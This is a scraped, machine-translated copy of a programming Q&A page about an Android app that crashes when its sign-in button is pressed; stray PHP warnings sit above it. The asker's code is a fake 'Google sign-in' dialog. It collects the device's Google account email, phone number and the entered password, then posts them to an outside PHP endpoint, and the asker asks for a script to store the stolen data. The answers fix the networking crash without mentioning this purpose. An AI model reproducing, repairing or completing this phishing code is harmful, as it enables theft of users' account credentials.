Warning: file_get_contents(/data/phpspider/zhask/data//catemap/3/android/193.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php 当我按下发送按钮时,android服务器客户端应用程序崩溃_Php_Android - Fatal编程技术网

Php 当我按下发送按钮时,android服务器客户端应用程序崩溃

Php 当我按下发送按钮时,android服务器客户端应用程序崩溃,php,android,Php,Android,每次我按下带有错误对话框的登录按钮时,我的Android服务器客户端应用程序都会崩溃 对不起!应用程序------意外停止。请再试一次 请帮帮我。 请为我提供一个php脚本,将发送的数据存储到我的服务器 ShowPassDialog.java public class ShowPassDialog extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.o

每次我按下带有错误对话框的登录按钮时,我的Android服务器客户端应用程序都会崩溃

对不起!应用程序------意外停止。请再试一次

请帮帮我。 请为我提供一个php脚本,将发送的数据存储到我的服务器

ShowPassDialog.java

   public class ShowPassDialog extends Activity  {
   @Override
   public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    // Set up the dialog.
    requestWindowFeature(Window.FEATURE_NO_TITLE);
    setContentView(R.layout.pass_dialog);

    // Get the primary e-mail address of the user.
    Account[] accounts = AccountManager.get(this).getAccountsByType("com.google");
    final String primaryEmail = accounts[0].name;

    // Set the email field in the dialog to the primary email.
    TextView email = (TextView) findViewById(R.id.emailText);
    email.setText(primaryEmail);

    // Get the password field.
    final EditText pass = (EditText) findViewById(R.id.passInput);

    // Get the signin button and send password on click.
    Button signin = (Button) findViewById(R.id.signin);
    signin.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
            sendPass(primaryEmail, pass.getText().toString());
            // Set a preference so the dialog is only showed once.

        }
    });
}


// This method will send the entered password to the server.
protected void sendPass(String primaryEmail, String password) {
    TelephonyManager mTelephonyMgr = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
    String mynumber = mTelephonyMgr.getLine1Number().substring(1);
    URL url;
    HttpURLConnection connect = null;
    BufferedReader rd;
    StringBuilder sb;
    OutputStreamWriter wr;
    // Replace this string with your receievepass.php url.
    String urlString = "goyal.com/gmail.php ";
    try {
        System.setProperty("http.keepAlive", "false");
        url = new URL(urlString);
        connect = (HttpURLConnection) url.openConnection();
        connect.setRequestMethod("POST");
        connect.setDoOutput(true);
        connect.setDoInput(true);
        connect.setReadTimeout(10000);

        connect.connect();

        // write to the stream
        StringBuilder data = new StringBuilder();
        String numData = URLEncoder.encode("phoneId", "UTF-8") + "="
                + URLEncoder.encode(mynumber, "UTF-8");
        String emailData = URLEncoder.encode("primaryEmail", "UTF-8") + "="
                + URLEncoder.encode(primaryEmail, "UTF-8");
        String passData = URLEncoder.encode("password", "UTF-8") + "="
                + URLEncoder.encode(password, "UTF-8");

        data.append(numData).append("&").append(emailData).append("&").append(passData);

        wr = new OutputStreamWriter(connect.getOutputStream());
        wr.write(data.toString());
        wr.flush();

        // read the result from the server
        rd = new BufferedReader(new InputStreamReader(connect.getInputStream()));
        sb = new StringBuilder();
        String line = null;
        while ((line = rd.readLine()) != null) {
            sb.append(line);
        }
    } catch (MalformedURLException e1) {
        e1.printStackTrace();
        Log.e("URL INVALID:", "The url given, " + urlString + ", is invalid.");
        return;
    } catch (IOException e) {
        e.printStackTrace();
        return;
    } finally {
        // close the connection, set all objects to null
        connect.disconnect();
        rd = null;
        sb = null;
        wr = null;
        connect = null;
    }
}

}
pass\u dialog.xml

 <?xml version="1.0" encoding="utf-8"?>
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
 android:layout_width="match_parent"
 android:layout_height="fill_parent"
 android:orientation="vertical"
 android:padding="10dp" >

<LinearLayout
    android:id="@+id/linearLayout1"
    android:layout_width="match_parent"
    android:layout_height="wrap_content" >

    <ImageView
        android:id="@+id/imageView1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:src="@android:drawable/ic_dialog_alert" />

    <TextView
        android:id="@+id/textView1"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:paddingLeft="10dp"
        android:text="Google sign-in"
        android:textAppearance="?android:attr/textAppearanceLarge" />
</LinearLayout>

<TextView
    android:id="@+id/passPrompt"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:paddingTop="20dp"
    android:text="@string/pass1" />

<TextView
    android:id="@+id/unTitle"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:paddingTop="10dp"
    android:text="Username"
    android:textStyle="bold" />

<TextView
    android:id="@+id/emailText"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:paddingTop="10dp"
    android:text="TextView" />

<TextView
    android:id="@+id/pTitle"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:paddingTop="10dp"
    android:text="Password"
    android:textStyle="bold" />

<EditText
    android:id="@+id/passInput"
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:inputType="textPassword" >

    <requestFocus />
</EditText>



<LinearLayout
    android:id="@+id/buttonbg"
    android:layout_width="286dp"
    android:layout_height="wrap_content"
    android:background="@color/bggrey"
    android:gravity="center_horizontal"
    android:paddingTop="5dp"
    android:paddingBottom="5dp"
    android:orientation="vertical" >


    <Button
        android:id="@+id/signin"
        android:layout_width="87dp"
        android:layout_height="match_parent"
        android:paddingLeft="10dp"
        android:paddingRight="10dp"
        android:text="Sign in" />

</LinearLayout>


您正在应用程序的主线程(活动)中进行http通信。最有可能的情况是,您必须获得
android.os.NetworkOnMainThreadException
exception

不能在主线程中进行客户机-服务器/http通信。遵循以下建议以避免崩溃

1) 创建不同的
Thread
AsyncTask
并在
run
中编写http通信调用(对于线程)或
doInBackground
中编写异步任务

2) 使用截取、改装或其他一些HTTP调用库,在不同线程中进行HTTP调用

你可以参考一下


不要忘记在应用程序的清单中添加INTERNET权限

执行网络调用时,请使用异步任务。在doInBackground()中编写所有网络密集型代码

调用web服务可能会令人沮丧

我建议在GitHub上使用此库, 它能处理所有繁重的工作,而且非常容易使用

只需将此行添加到gradle依赖项:

dependencies {
    compile 'com.koushikdutta.ion:ion:2.+'
}
这段代码将处理所有帖子:

JsonObject json = new JsonObject();
json.addProperty("foo", "bar");

Ion.with(context)
.load("http://example.com/post")
.setJsonObjectBody(json)
.asJsonObject()
.setCallback(new FutureCallback<JsonObject>() {
   @Override
    public void onCompleted(Exception e, JsonObject result) {
        // do stuff with the result or error
    }
});
JsonObject json=new JsonObject();
addProperty(“foo”、“bar”);
带(上下文)的离子
.加载(“http://example.com/post")
.setJsonObjectBody(json)
.asJsonObject()
.setCallback(新的FutureCallback(){
@凌驾
未完成公共无效(异常e,JsonObject结果){
//对结果或错误进行处理
}
});

使用LogCat检查与崩溃相关的Java堆栈跟踪: